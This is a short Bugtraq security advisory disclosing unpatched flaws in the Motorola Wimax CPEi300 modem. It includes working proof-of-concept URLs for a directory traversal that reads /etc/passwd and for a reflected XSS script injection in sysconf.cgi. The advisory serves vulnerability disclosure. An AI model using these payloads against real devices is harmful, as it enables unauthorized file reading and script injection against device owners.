Motorola Wimax Modem CPEi300 Multiple Vulnerabilities

From: usman <usman@xc0re.net>
To: bugtraq@securityfocus.com
Cc:
Subject: Motorola Wimax Modem CPEi300 Multiple Vulnerabilities
Date:

Attachments:
Motorolla Wimax Modem multiple vulnerabilities.txt

Regards !

#####################################################################################
#
#   Name    :   Motorola Wimax modem CPEi300 Multiple Vulnerabilities
#   Author  :   Usman Saeed 
#   Company :   Xc0re Security Reasearch Group
#   Homepage :  http://www.xc0re.net
#
#####################################################################################


[Note: User needs to logged in! ]

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Exploitation : 

   [+] Directory traversal
     http://Hostname/cgi-bin/sysconf.cgi?page=../../../etc/passwd&action=request&sid=AeoFSFoI4lDs 

   [+] XSS 

  http://Hostname/cgi-bin/sysconf.cgi?page="><script>alert(1);</script>"&action=request&sid=AeoFSFoI4lDs  







Copyright © 1995-2019 LinuxRocket.net. All rights reserved.